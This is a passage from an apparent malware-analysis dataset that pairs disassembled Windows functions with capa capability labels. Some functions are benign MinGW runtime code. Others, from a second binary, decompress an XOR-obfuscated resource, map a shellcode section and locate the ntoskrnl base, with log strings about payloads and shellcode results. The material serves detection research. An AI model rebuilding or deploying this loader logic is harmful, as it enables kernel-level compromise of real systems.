joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d8b1120
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8d25e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8b12a8
mov rax, qword [0x6d8d25e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8b116c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8b11f5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8b1150
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8b12dd
mov rax, qword [0x6d8d25e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8d25e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8b12c0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8b11ee
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8b1250
add dword [0x6d8d25e4], 1
cmp edi, 8
jae 0x6d8b1223
test dil, 4
jne 0x6d8b1294
test edi, edi
je 0x6d8b1218
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8b12af
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8b1218
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8b123c
jmp 0x6d8b1218
add rsi, qword [0x6d8d25e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8b11ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8b1218
xor esi, esi
jmp 0x6d8b1177
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8b1218
mov rax, qword [0x6d8d25e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8b1a30
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8d28c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8d28a0]
test rbx, rbx
je 0x6d8b1a84
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8b1a7b
test rsi, rsi
je 0x6d8b1a7b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8b1a60
lea rcx, [0x6d8d28c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8b1cc0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8b1cd0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8b1ce0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8b1d21
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8b1d18
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8b1d23
add rax, 0x28
cmp rax, r9
jne 0x6d8b1d04
xor eax, eax
ret

Function at 0x6d8b1dc0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8cf1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8b1e2d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b1e2d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8b1e2d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8b1e24
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8b1e2f
add rax, 0x28
cmp rax, r9
jne 0x6d8b1e10
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8b1f30
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8cf1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8b1f50
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b1f48
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8b1fad
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8b1fa4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8b1fb4
add rax, 0x28
cmp rax, r9
jne 0x6d8b1f90
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8b1fd0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8cf1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8b203e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8b203e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8b203e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8b203e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8b2035
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8b2045
add rcx, 0x28
cmp rcx, rax
jne 0x6d8b2020
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8b2058
jmp 0x6d8b203e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8b2066
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8b203e
test r9d, r9d
jg 0x6d8b2050
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8b23d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400018f8
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov dword [rsp + 8], ecx
push rbx
sub rsp, 0x20
mov r8d, 0x1000
mov edx, 8
mov dword [rsp + 0x30], r8d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1400019e3
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400019ab
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rax, qword gs:[0x30]
mov edx, 8
mov r8d, dword [rsp + 0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0x80000005
jne 0x1400019b9
cmp dword [rbx], 0
jne 0x1400019bd
jmp 0x1400019c7
test eax, eax
js 0x1400019c2
mov rax, rbx
jmp 0x1400019e5
test rbx, rbx
je 0x1400019e3
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400019ec
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], r9
push rdi
sub rsp, 0x20
and dword [rax + 0x20], 0
mov esi, ecx
mov rax, qword gs:[0x30]
mov edi, 0x1000
mov r8d, edi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140001ac4
jmp 0x140001a80
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
add edi, edi
cmp edi, 0x20000000
ja 0x140001ac4
mov rax, qword gs:[0x30]
mov edx, 8
mov r8d, edi
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
lea r9, [rsp + 0x48]
mov r8d, edi
mov rdx, rax
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001a38
test eax, eax
js 0x140001aa3
mov rax, rbx
jmp 0x140001ac6
test rbx, rbx
je 0x140001ac4
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001ce0
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
mov qword [rax + 0x10], rdx
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0x90
and qword [rbp - 9], 0
mov r14, r9
mov rsi, r8
mov rdx, rcx
test r8, r8
jne 0x140001d1b
mov eax, 0xc00000f2
jmp 0x140001e7b
test rdx, rdx
je 0x140001e76
xor eax, eax
lea rdi, [rbp - 1]
lea ecx, [rax + 0x10]
rep stosb byte [rdi], al
lea rcx, [rbp - 1]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
and qword [rbp + 0x17], 0
lea rax, [rbp - 1]
xorps xmm0, xmm0
mov qword [rbp + 0x1f], rax
lea r8, [rbp + 0xf]
mov dword [rbp + 0xf], 0x30
mov edx, 1
mov dword [rbp + 0x27], 0x40
lea rcx, [rbp - 9]
movdqu xmmword [rbp + 0x2f], xmm0
call qword [sym.imp.ntdll.dll_NtOpenDirectoryObject]
test eax, eax
js 0x140001e7b
and dword [rbp + 0x77], 0
jmp 0x140001e07
mov rcx, qword gs:[0x30]
mov edx, 8
mov r8d, dword [rbp + 0x6f]
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140001e63
mov r8d, dword [rbp + 0x6f]
lea rax, [rbp + 0x6f]
mov rcx, qword [rbp - 9]
mov r9b, 1
mov qword [rsp + 0x30], rax
mov rdx, rbx
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov edi, eax
test eax, eax
js 0x140001e47
mov rdx, r14
mov rcx, rbx
call rsi
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov edi, eax
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test edi, edi
jns 0x140001e43
mov rcx, qword [rbp - 9]
lea rax, [rbp + 0x6f]
and dword [rbp + 0x6f], 0
mov r9b, 1
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rbp + 0x77]
xor edx, edx
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov edi, eax
cmp eax, 0xc0000023
je 0x140001d80
jmp 0x140001e63
xor edi, edi
jmp 0x140001e63
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rcx, qword [rbp - 9]
test rcx, rcx
je 0x140001e72
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, edi
jmp 0x140001e7b
mov eax, 0xc00000f0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140002060
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbp, rdx
mov r8, rdx
mov rdx, rcx
mov rbx, rcx
xor ecx, ecx
call fcn.140002018
mov dil, 1
lea rsi, [rbx + 2]
mov r12d, 4
lea r13, str.cw
mov rdx, rbx
mov r9, r12
mov rcx, rdx
mov r8, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r8, 1
jne 0x1400020af
inc rdx
sub r9, 1
jne 0x1400020a9
mov al, byte [rbx + 5]
mov r14, rsi
mov cl, byte [rbx + 1]
mov r15, r12
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rsi]
mov byte [rsi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
mov cl, byte [rbx + 6]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], cl
mov cl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 0xb], al
mov byte [rbx + 7], cl
mov r11b, byte [r14 - 2]
mov r8b, byte [r14 - 1]
mov dl, r11b
mov r9b, byte [r14 + 1]
xor dl, r8b
xor r9b, byte [r14]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r9b
imul ecx, eax, 0x1b
xor r10b, r11b
xor r10b, r8b
xor cl, dl
mov dl, r8b
xor dl, byte [r14]
xor cl, r11b
xor r11b, byte [r14 + 1]
xor cl, r10b
mov byte [r14 - 2], cl
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
imul ecx, eax, 0x1b
mov al, r9b
shr al, 7
add r9b, r9b
movzx eax, al
xor cl, dl
xor cl, r8b
xor cl, r10b
mov byte [r14 - 1], cl
imul ecx, eax, 0x1b
mov al, r11b
shr al, 7
add r11b, r11b
movzx eax, al
xor cl, r9b
xor cl, byte [r14]
xor cl, r10b
mov byte [r14], cl
imul ecx, eax, 0x1b
xor cl, r11b
xor cl, byte [r14 + 1]
xor cl, r10b
mov byte [r14 + 1], cl
add r14, r12
sub r15, 1
jne 0x140002116
mov r8, rbp
mov rdx, rbx
mov cl, dil
call fcn.140002018
inc dil
cmp dil, 0xa
jb 0x1400020a3
mov rdx, rbx
mov r8, r12
mov rcx, rdx
mov r9, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r9, 1
jne 0x1400021dc
inc rdx
sub r8, 1
jne 0x1400021d6
mov dl, byte [rbx + 6]
mov r8, rbp
mov al, byte [rbx + 5]
mov cl, byte [rbx + 1]
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rsi]
mov byte [rsi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], dl
mov dl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 7], dl
mov rdx, rbx
mov byte [rbx + 0xa], cl
mov cl, 0xa
mov byte [rbx + 0xb], al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp fcn.140002018
Function at 0x140003038
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor edi, edi
mov rbx, r8
and qword [rbp + 0x30], rdi
mov rsi, rdx
mov rax, rcx
test r8, r8
je 0x140003063
and dword [r8], edi
xor ecx, ecx
and dword [rbp + 0x38], ecx
mov qword [rbp + 0x28], rcx
test rsi, rsi
je 0x1400030b9
and qword [rbp - 8], rcx
lea r8d, [rcx + 3]
mov rcx, rsi
mov qword [rbp - 0x18], 0xa
lea r9, [rbp - 0x20]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
test eax, eax
js 0x1400030b5
mov rdx, qword [rbp - 0x20]
lea r9, [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
test eax, eax
cmovns edi, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x1400030e0
test edi, edi
je 0x1400030e0
mov al, byte [rbp + 0x40]
lea r8, [rbp + 0x30]
mov edx, edi
mov byte [rsp + 0x20], al
call fcn.1400030f0
test rbx, rbx
je 0x1400030e2
mov ecx, dword [rbp + 0x30]
mov dword [rbx], ecx
jmp 0x1400030e2
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400030f0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x20], r9d
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x57]
sub rsp, 0xa0
mov r15, rcx
lea rdi, [rbp - 0x29]
xor eax, eax
xor ebx, ebx
and qword [r8], rbx
mov rsi, rdx
mov r12, r8
mov r8, rsi
lea edx, [rbx + 0x18]
mov ecx, edx
rep stosb byte [rdi], al
mov ecx, edx
lea rdi, [rbp - 0x41]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x51]
lea ecx, [rbx + 0x10]
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
lea edx, [rbx + 8]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r14, rax
test rax, rax
je 0x1400032a2
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.140015ab0
lea r15d, [rbx + 1]
test esi, esi
je 0x140003193
mov eax, 0xf62e6ce0
mov edx, esi
mov rcx, r14
xor byte [rcx], al
add rcx, r15
rol eax, 1
add edx, 0xffffffff
jne 0x140003187
and dword [rbp - 0x31], ebx
lea r9, [rbp - 0x51]
movsd xmm1, qword [rbp - 0x31]
lea r8, [rbp - 0x11]
movsd qword [rbp - 1], xmm1
lea rdx, [rbp + 0xf]
movsd xmm1, qword [rbp - 0x19]
mov rcx, r15
mov qword [rbp - 0x41], r14
mov qword [rbp - 0x39], rsi
movups xmm0, xmmword [rbp - 0x41]
movsd qword [rbp + 0x1f], xmm1
movaps xmmword [rbp - 0x11], xmm0
movups xmm0, xmmword [rbp - 0x29]
movaps xmmword [rbp + 0xf], xmm0
call qword [sym.imp.msdelta.dll_ApplyDeltaB]
test eax, eax
je 0x140003272
mov rdi, qword [rbp - 0x49]
mov rsi, qword [rbp - 0x51]
cmp byte [rbp + 0x7f], bl
je 0x140003221
and dword [rbp + 0x6f], ebx
lea r9, [rbp + 0x77]
and dword [rbp + 0x77], ebx
lea r8, [rbp + 0x6f]
mov edx, edi
mov rcx, rsi
call fcn.14000ff78
test al, al
jne 0x14000322d
mov r9d, dword [rbp + 0x77]
lea rdx, [0x140039c00]
mov r8d, dword [rbp + 0x6f]
mov ecx, r15d
call fcn.140010d44
jmp 0x140003266
lea rcx, str.___Checksum_verification_skipped_r_n
call fcn.140002fe4
mov rax, qword gs:[0x30]
mov r8, rdi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140003266
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140015ab0
mov qword [r12], rdi
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.msdelta.dll_DeltaFree]
jmp 0x140003286
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_while_decompressing_resource
call fcn.140011cb0
mov rax, qword gs:[0x30]
mov r8, r14
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0xa0]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140003360
Capabilities:
Map section object

Disassembly:
push rbx
sub rsp, 0x50
and qword [rsp + 0x60], 0
mov r10, rdx
mov r8d, dword [rcx + 8]
mov rbx, rcx
sub r8d, 1
je 0x140003380
sub r8d, 1
mov dword [rsp + 0x48], 4
lea r8, [rsp + 0x60]
and dword [rsp + 0x40], 0
mov eax, 0x1000
mov dword [rsp + 0x38], 2
mov ecx, eax
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], rcx
xor r9d, r9d
and qword [rsp + 0x28], 0
mov rcx, r10
or rdx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x140003423
mov ecx, dword [rbx + 8]
sub ecx, 1
je 0x1400033f8
cmp ecx, 1
jne 0x1400033f8
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result__system_worker:_0x_p_r_n
mov ecx, 2
mov r8, qword [r8 + 0x10]
call fcn.140010d44
jmp 0x140003412
mov rax, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result:_NTSTATUS__0x_lX__r_n
mov ecx, 2
mov r8d, dword [rax + 8]
call fcn.140010d44
mov rdx, qword [rsp + 0x60]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
jmp 0x140003437
mov r8d, eax
lea rdx, str.____Cannot_map_shellcode_section__NTSTATUS___lX__r_n
mov ecx, 1
call fcn.140010d44
add rsp, 0x50
pop rbx
ret
Function at 0x140003ac0
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rsi, qword [rcx + 0x18]
xor r12d, r12d
mov dword [rbp + 0x3b0], r12d
mov r14, r8
mov qword [rsp + 0x40], r12
mov r15, rdx
mov qword [rbp + 0x3c8], r12
mov rdi, rcx
mov qword [rbp + 0x3c0], r12
mov ebx, r12d
mov qword [r8], r12
test rsi, rsi
jne 0x140003b25
lea rdx, str.____Cannot_query_ntoskrnl_loaded_base__abort_r_n
mov ecx, 1
call fcn.140010d44
jmp 0x140003c8a
mov rdx, rsi
lea rcx, str.___Loaded_ntoskrnl_base_0x_llX_r_n
call fcn.140002fe4
mov ecx, 0x7ffe0030
lea rax, [rsp + 0x60]
cmp rax, rcx
je 0x140003b6c
movzx edx, word [rcx]
lea rax, [rsp + 0x60]
test dx, dx
je 0x140003b68
lea r8, [rsp + 0x60]
sub rcx, r8
mov word [rax], dx
add rax, 2
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140003b58
mov word [rax], r12w
lea rdx, str._system32_ntoskrnl.exe
lea rcx, [rsp + 0x60]
call fcn.1400013f4
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea r9, [rbp + 0x3c0]
xor edx, edx
lea r8, [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrLoadDll]
test eax, eax
js 0x140003c7c
mov rdx, qword [rbp + 0x3c0]
test rdx, rdx
je 0x140003c7c
lea rcx, str.___Ntoskrnl.exe_mapped_at_0x_llX_r_n
call fcn.140002fe4
mov rax, qword [rbp + 0x3c0]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rsi
lea rdx, [rbp + 0x3c8]
mov r9, r15
mov qword [rdi + 0x20], rax
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.140003440
test eax, eax
jne 0x140003c03
lea rdx, str.____Error_while_mapping_payload__abort_r_n
jmp 0x140003b16
mov rdx, qword [rbp + 0x3c8]
lea rax, [rbp + 0x3b0]
mov r9, qword [rbp + 0x3c0]
mov r8, qword [rsp + 0x40]
mov ecx, dword [rdi + 8]
mov qword [rsp + 0x30], rax
mov eax, dword [rdi + 0xc]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov qword [r14], rdx
call fcn.14000f534
mov rbx, rax
test rax, rax
je 0x140003c8a
mov edx, dword [rbp + 0x3b0]
test edx, edx
jne 0x140003c6e
lea rdx, str.____Unexpected_shellcode_procedure_size__abort_r_n
mov ecx, 1
call fcn.140010d44
mov edx, 0x800
mov rcx, rbx
call fcn.14000f7d4
mov rbx, r12
jmp 0x140003c8a
lea rcx, str.___Bootstrap_code_size__0x_lX_r_n
call fcn.140002fe4
jmp 0x140003c8a
mov edx, eax
lea rcx, str.____Error_while_loading_ntoskrnl.exe
call fcn.140011be4
mov rax, rbx
add rsp, 0x470
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret